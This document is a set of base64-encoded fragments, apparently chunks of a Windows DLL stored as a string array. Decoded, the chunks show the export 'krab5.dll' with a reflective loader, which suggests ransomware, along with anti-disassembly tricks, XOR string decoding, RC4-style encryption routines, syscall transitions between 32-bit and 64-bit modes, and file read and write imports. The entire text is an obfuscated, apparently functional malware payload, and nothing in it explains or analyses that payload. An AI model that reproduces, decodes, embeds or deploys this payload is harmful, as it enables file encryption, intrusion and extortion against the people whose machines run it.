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AAAG0AcwAtAE0AWQAAAGsAawAtAEsAWgAAAGsAeQAtAEsARwAAAHMAdwAtAEsARQAAAHUAegAtAFUAWgAtAEwAYQB0AG4AAAAAAHQAdAAtAFIAVQAAAGIAbgAtAEkATgAAAHAAYQAtAEkATgAAAGcAdQAtAEkATgAAAHQAYQAtAEkATgAAAHQAZQAtAEkATgAAAGsAbgAtAEkATgAAAG0AbAAtAEkATgAAAG0AcgAtAEkATgAAAHMAYQAtAEkATgAAAG0AbgAtAE0','CAAbwBuAGUAeABpAHQAIABiAGUAZwBpAG4ALQBlAG4AZAAgAHYAYQByAGkAYQBiAGwAZQBzAA0ACgAAAAAARABPAE0AQQBJAE4AIABlAHIAcgBvAHIADQAKAAAAAABTAEkATgBHACAAZQByAHIAbwByAA0ACgAAAAAAVABMAE8AUwBTACAAZQByAHIAbwByAA0ACgAAAHIAdQBuAHQAaQBtAGUAIABlAHIAcgBvAHIAIAAAAAAAUgB1AG4AdABpAG0AZQAgAEUAcgByAG8AcgAhAAoACgBQAHIAbwBnAHIAYQBtADoAIAAAADwAcAByAG8AZwByAGEAbQAgAG4AYQBtAGUAIAB1AG4AawBuAG8AdwBuAD4AAAAAAC4ALgAuAAAACgAKAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABWAGkAcwB1AGEAbAAgAEMAKwArACAAUgB1AG4AdABpAG0AZQAgAEwAaQBiAHIAYQByAHkAAAAAAFUAUwBFAFIAMwAyAC4ARABMAEwAAA','w9/RchbhcB1Ho1FyFCNRehQ/xWwMQEQUP8VoDEBEKPYEgIQhcB0Bo1N/FH/0IvlXcNVi+yD7DhTamtYamVbanJmD28F8IcBEIlN/FlqblpqbGaJRehYajNmiUXyWGaJRfRqMlhmiUX2M8CJRfiIReah0BICEGaJXepmiV3wiF3ciF3gZolN7GaJVe7HRdg0RnNSZsdF3WRpiE3fx0XhY3Rpb4hV5fMPf0XIW4XAdR6NRchQjUXoUP8VsDEBEFD/FaAxARCj0BICEIXAdAaNTfxR/9CL5V3DVYvsUVNWV4lN/GBqAP91/Goz6AAAAACDBCQFy+j4bwAASVhBiQBBiVgEQYlICEGJUAzoAAAAAMdEJAQjAAAAgwQkDcthX15bi+Vdw1WL7ItNEI1VFIPsQFeFyXQVi0UUjVUcSYlF+ItFGIlNEIlF/OsID1fAZg8TRfiFyXQVSYPCCIlNEItC+IlF8ItC/IlF9OsID1fAZg8TRfCFyXQVSYPCCIlNEItC+IlF6ItC/IlF7OsID1fAZg8TReiFyXQVSYPCCIlNEItC+IlF4ItC/IlF5OsID1fAZg8TReCLwg9XwJmJRdCLwYlV1JmJRdiLRQiJRciLRQyJVdyJRcxmDxNFwIllDGaD5PhqM+gAAAAAgwQkBcv/dfhIWf918Eha/3XoSVj/deBJWVf/ddBIX/912EhYhcB0Eo18x/iFwHQK/zeD7wiD6AHr8v91yEhYSIPsKEmJyg8F/3XYSFmNZMwgX0hQj0XA6AAAAADHRCQEIwAAAIMEJA3Li2UMX4vlXcNVi+yLTRCNVRSD7EhXhcl0FYtFFI1VHEmJRfSLRRiJTRCJRfjrCA9XwGYPE0X0hcl0FUmDwgiJTRCLQviJReyLQvyJRfDrCA9XwGYPE0Xshcl0FUmDwgiJTRCLQviJReSLQvyJRejrCA9XwGYPE0Xkhcl0FUmDwgiJTRCLQviJRdyLQvyJReDrCA9XwGYPE0Xci8IPV8CZiUXMi8GJVdCZiUXUi0UIiUXEi0UMiVXYiUXIZg8TRbyJZQxmg+T4ajPoAAAAAIMEJAXL/3X0SFn/dexIWv915ElY/3XcSVlX/3XMSF//ddRIWIXAdBKNfMf4hcB0Cv83g+8Ig+gB6/KD7CD/VcT/ddRIWY1kzCBfSFCPRbzoAAAAAMdEJAQjAAAAgwQkDcuLZQxfi+Vdw1WL7IPsFFOLwQ9XwJlWV2YPE0X4iUXwiVX0YGoz6AAAAACDBCQFy0hTSFFIUkhWSFdJUElRSVJJU0lUSVVJVklX/3XwSFllTIsUJTAAAABNi1JgTYtSGE2LWiBNidxNjWtIZkGLXQBmhdt0JugJbgAASAHAZjvDdRlJi1UISYnASdH46AtuAACFwHQGSYtDIOsKTYsbTTnjdcQxwElfSV5JXUlcSVtJWklZSVhIX0heSFpIWUhbSFCPRfjoAAAAAMdEJAQjAAAAgwQkDcthi0X4i1X8X15bi+Vdw1WL7IPsHItFCA9XwFaL8YlF8ItFDFZmDxNF+IlF9P8VyDEBEJmJRQiLxolVDJmJReiJVexqM+gAAAAAgwQkBctIU0hRSFJIVkhXSVBJUUlSSVNJVElVSVZJV/918Ehb/3UISV//dehJXkiJ2eifbQAASYnCSI2AiAAAAIsQSAHai0oY/','7IPk+IPsbFNWM9tXi8OAsJC7ARAFQD0UAQAAcvFqH41EJBxo4HUBEFDolHAAAL4gdgEQiFwkQ418JBxqQI1EJEilU1BmpaSIXCQv6OJrAACDxBSNVCQcjUwkPGgAAQAA6JQbAACLRCQYg8QIvhQBAACJRCRQi0QkFIlEJFRqBGgAMAAAVlOJXCRoiVwkbP8VZDEBEFZQupC7ARCjiBICEI1MJEDozRsAAFlZX15bi+Vdw2g4dgEQagBoAAAQAP8VlDABEIXAdAtQ/xXQMQEQM8BAwzPAw1WL7IHsoAAAAOgAAAAAPoMEJBF1BXQD6SgUWP/gAOn/FXgxARBqAGoAagD/FWwxARD/FaQxARCD+Fd0CGoA/xWUMQEQ6JP///+FwHUj6MY7AACFwHQa6GM8AAA9ABAAAHcO6HHK//+FwHQF6E48AADoozsAAIXAdBnoQDwAAD0AEAAAdw3okwUAAGoA/xWUMQEQ6N/6//+FwHQN6G74//9qAP8VlDEBEOgl9v//hcB1CGoA/xWUMQEQ6Gr+//9olHMBEGoAaJxzARBqAWikcwEQagFouHMBEGoBaMhzARBqAWjccwEQagFo7HMBEGoBaPxzARBqAWgEdAEQagFoGHQBEGoBaCh0ARBqAY2NYP///+hs3v//jY1g////6CgqAACNjWD////oXigAAIlF9ItF9I2MAAIEAADosjcAAKNcEgIQgz1cEgIQAHUIagD/FZQxARD/NVwSAhCNjWD////oMCYAAGh8dgEQ/zVcEgIQ/xWcMQEQaIh2ARD/NVwSAhD/FZwxARBosHYBEP81XBICEP8VnDEBEGjEdgEQ/zVcEgIQ/xWcMQEQx0Xw8HYBEI1F8GjkdwEQ/zVcEgIQ/xWcMQEQaGR0ARD/NVwSAhD/FZwxARBo+HcBEP81XBICEP8VnDEBEP81XBICEP8VzDEBENHgo4ASAhD/NVwSAh','giV3g99eLXdxZK8uJRcyJTdyLVIXwi8uLwtPqi03MI8cLVeCJVI3wi03c0+CJReCLRcxAiUXMO8Z814t12I1V+IvGweACagIr0DPbWTvOfAiLAolEjfDrBIlcjfCD6gRJeerp2P3//zsNsK0BEA+MogAAAIsNvK0BEI198DPAq6uri8GBTfAAAACAmYPiHwPCwfgFiUXMgeEfAACAeQVJg8ngQYPP/4lNyGog0+dYK8GJXeD314lF2ItUnfCLwtPqI8cLVeCLTdjT4ItNyIlUnfBDiUXgO95834t1zI1V+IvGweACagIr0DPbWTvOfAiLAolEjfDrBIlcjfCD6gRJeeqLNcStARAz2wM1sK0BEEPplQAAAIs1xK0BEIFl8P///38D8YsNvK0BEIvBmYPiH4l1yAPCwfgFiUXYgeEfAACAeQVJg8ngQWogiV3gi/PT54vZWCvDiU3c99eJRdyLVLXwi8uLwtPqC1XgI8eLTdzT4IlUtfBGiUXgg/4DfN+LfdiNVfiLdciLx8HgAmoCK9Az21k7z3wIiwKJRI3w6wSJXI3wg+oESXnqi33Aah9YKwW8rQEQi8iLRbzT5vfYG8AlAAAAgAvwocCtARALdfCD+EB1CotF9Il3BIkH6weD+CB1Aok3i038i8NfXjPNW+jbxv//i+Vdw1WL7IHsgAAAAKFQqgEQM8WJRfyLRQiJRYCLRQyJRZgzwFMz20BWiUWUi/OLw4ldkFeNfeCJXbSJXaCJXaSJXZyJXaw5RSR1F+iWwv//xwAWAAAA6N/K//8zwOkIBwAAi1UQi8qJTbCKCoD5IHQPgPkJdA','GwaAACFwHVounR/ARCLz+hcGgAAhcAPhbYAAAC6kH8BEIvP6EgaAACFwA+FogAAALqofwEQi8/oNBoAAIXAD4WOAAAAusx/ARCLz+ggGgAAhcB1flZqKlNW/xVYMgEQhcB0GIvTi8/oBBoAAIXAdAuLRfzHAAEAAADrV1ZqK1NW/xVYMgEQhcB0DYvTi8/o3RkAAIXAdTtWaiRTVv8VWDIBEIXAdA2L04vP6MEZAACFwHUfVmocU1b/FVgyARCFwHQNi9OLz+ilGQAAhcB1AzP2Ro1N7OhH6v//X4vGXluL5V3DVYvsUVOLHcwxARBWV4vxVv/TVov4/9ONNEaDxv5PdA6D7gJPZoM+XHQEhf918os9oDABEIPGAmjgfwEQVv/XhcB1CDPAQOnaAQAAaPh/ARBW/9eFwHTsaBCAARBW/9eFwHTgaCiAARBW/9eFwHTUaESAARBW/9eFwH','unh0ARCLTfjomUkAAFmNTczoZhUAAI2NPP///+iePwAAXovlXcNVi+yD7AzoAAAAAD6DBCQRdQV0A+koFFj/4ADpg2X8AOsHi0X8QIlF/IF9/CICAABzGItF/A+2gDDMARCD8AWLTfyIgTDMARDr2INl+ADrB4tF+ECJRfiBffi6AAAAcxiLRfgPtoCovAEQg/AFi034iIGovAEQ69iDZfQA6weLRfRAiUX0gX30ww4AAHMYi0X0D7aAaL0BEIPwBYtN9IiBaL0BEOvYi+Vdw1WL7IPsFOgAAAAAPoMEJBF1BXQD6SgUWP/gAOlqClpqBVnoticAAOgq////jUX0UI1F+FCNVfCNTezoTSIAAFlZhcAPhKAAAAC5BAoAAOgcRAAAiUX8/3X8jUXsUOj3+///WVmFwHR5g33wAHQpi1X0i03w6ONDAABoAAgAAP918P8VEDEBEGgAgAAAagD/dfD/FcQxARD/dfzo2/H//1mFwHQt6Kf8///HBWASAhAwzAEQxwV8EgIQqLwBEMcFKBICEGi9ARCNRexQ6Pnu//9ZaACAAABqAP917P8VxDEBEItN/OiXQwAAM8CL5V3DVYvsg+x06AAAAAA+gwQkEXUFdAPpKBRY/+AA6WpAagCNRYxQ6MN1AACDxAzGRcwBxkXNAsZFzgPGRc8ExkXQBcZF0QbGRdIHxkXTCMZF1AnGRdUKxkXWC8ZF1wzGRdgNxkXZDsZF2g/GRdsQxkXcAcZF3QLGRd4DxkXfBMZF4AXGReEGxkXiB8ZF4wjGReQJxkXlCsZF5gvGRecMxkXoDcZF6Q7GReoPxkXrEMZF7AHGRe0CxkXuA8ZF7wTGRfAFxkXxBsZF8gfGRfMIakBoAAEAAI1VzI1NjOjVJAAAWVmNVeyNTYzoMSUAAP91DP8VzDEBENHgiUX0/3X0/3UIi1UMjU2M6CYlAABZWYtFEIlF+INl/ADrB4tF/ECJRfz/dQz/FcwxARDR4DlF/HMvi0UIA0X8D7YAUGiQdAEQ/3X4/xVwMgEQg8QM/3X4/xXMMQEQi034jQRBiUX467qL5V3DVYvsuBAQAADovZAAAOgAAAAAPoMEJBF1BXQD6SgUWP/gAOmDZfQAuQQEAADo7UEAAIlF+IN9+AAPhE0BAABqAWoji0X4BQACAABQagD/FVgyARCFwA+EKAEAALkMDgAA6LlBAACJRfyDffwAD4QRAQAAi0X8BQwGAACJRfBoAAEAAP91/P8VsDABEGoCWGvAAzPJi1X8ZokMAmgAAQAAi0X8BQAEAABQi0X8BQQGAABQi0X8BQgGAABQi0X8BQAGAABQaAABAACLRfwFAAIAAFD/dfz/FbQwARCFwA+EmQAAAItF/IuAAAYAAMHoAlBomHQBEI2F8PP//1D/FXAyARCDxAyNhfD3//9QjYXw8///UI2F8O///1DogP3//4PEDGo','AAAA/v///znVABBM1QAQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAAIrfABAAAAAAAAAAAFTfABD+////AAAAAND///8AAAAA/v///wAAAAA24gAQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAAATjABAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA7OMAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABQ7wAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAODvABAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAzhABEAAAAAD+////AAAAANj///8AAAAA/v///9EuARDtLgEQAAAAAAAAAAAAAAAAAAAAAMtF11sAAAAAsooBAAEAAAABAAAAAQAAAKiKAQCsigEAsIoBAGdsAAC8igEAAABrcmFiNS5kbGwAX1JlZmxlY3RpdmVMb2FkZXJAMAAEjAEAAAAAAAAAAACGkwEAlDABANCNAQAAAAAAAAAAAESUAQBgMgEAvIsBAAAAAAAAAAAAXJUBAEwwAQBwiwEAAAAAAAAAAAC8lgEAADABAMCNAQAAAAAAAAAAAAaXAQBQMgEAsI0BAAAAAAAAAAAARpcBAEAyAQAAjgEAAAAAAAAAAADClwEAkDIBAAAAAAAAAAAAAAAAAAAAAAAAAAAAppYBAIyWAQB2lgEAYpYBAFKWAQBAlgEAMpYBACKWAQAQlgEA+pUBAOaVAQDOlQEAvJUBAKqVAQCclQEAjJUBAHiVAQBmlQEAAAAAAEyVAQBAlQEAMJUBACSVAQAWlQEACpUBAPqUAQDqlAEA1JQBALqUAQCslAEAnpQBAJKUAQCAlAEAYJQBAFCUAQBwlAEAAAAAAIyQAQCakAEAqpABAMSQAQDQkAEA7JABAASRAQAYkQEAMJEBAEiRAQBYkQEAZJEBAICRAQCQkQEAnJEBAK6RAQDAkQEA3JEBAPSRAQAMkgEAGpIBACySAQA6kgEATpIBAGSSAQBwkgEAfJIBAIySAQCckgEAspIBAMKSAQB8kAEA1pIBAOySAQACkwEAEpMBACKTAQAwkwEARJMBAFCTAQBekwEAaJMBAHiTAQCemQEAjJkBAHyZAQBomQEAUpkBAEaZAQA6mQEAbpABAFiQAQAcjgEARJABADaQAQAakAEACpABAPiPAQDmjwEA0o8BALyPAQCsjwEAjo8BAH6PAQBwjwEAZI8BAFiPAQBGjwEANo8BACaPAQAQjwEA/I4BAOiOAQDWjgEAxo4BALCOAQCijgEAlo4BAIqOAQB8jgEAbo4BAGKOAQBajgEATo4BAECOAQAsjgEAKpkBABqZAQAGmQEA+JgBAOqYAQDCmAEApJgBAIiYAQB2mAEAapgBAFSYAQDOlwEA6pcBAPyXAQAGmAEAEpgBAB6YAQA0mAEARJgBAK6ZAQAAAAAAMpcBABKXAQAilwEAAAAAANyWAQDKlgEA7JYBAAAAAADSkwEAAJQBAAyUAQAUlAEAlJMBAKCTAQC4kwEAIJQBACyUAQA4lAEA6pMBAAAAAABOlwEArpcBAJqXAQB0lwEAXpcBAIaXAQAAAAAA6QRWaXJ0dWFsQWxsb2MAAGcEU2V0RmlsZVBvaW50ZXJFeAAA1ARVbmxvY2tGaWxlAAAlBVdyaXRlRmlsZQCyBFNsZWVwAMADUmVhZEZpbGUAAI8AQ3JlYXRlRmlsZVcAUgBDbG9zZUhhbmRsZQBOBWxzdHJsZW5XAABNBWxzdHJsZW5BAADsBFZpcnR1YWxGcmVlAG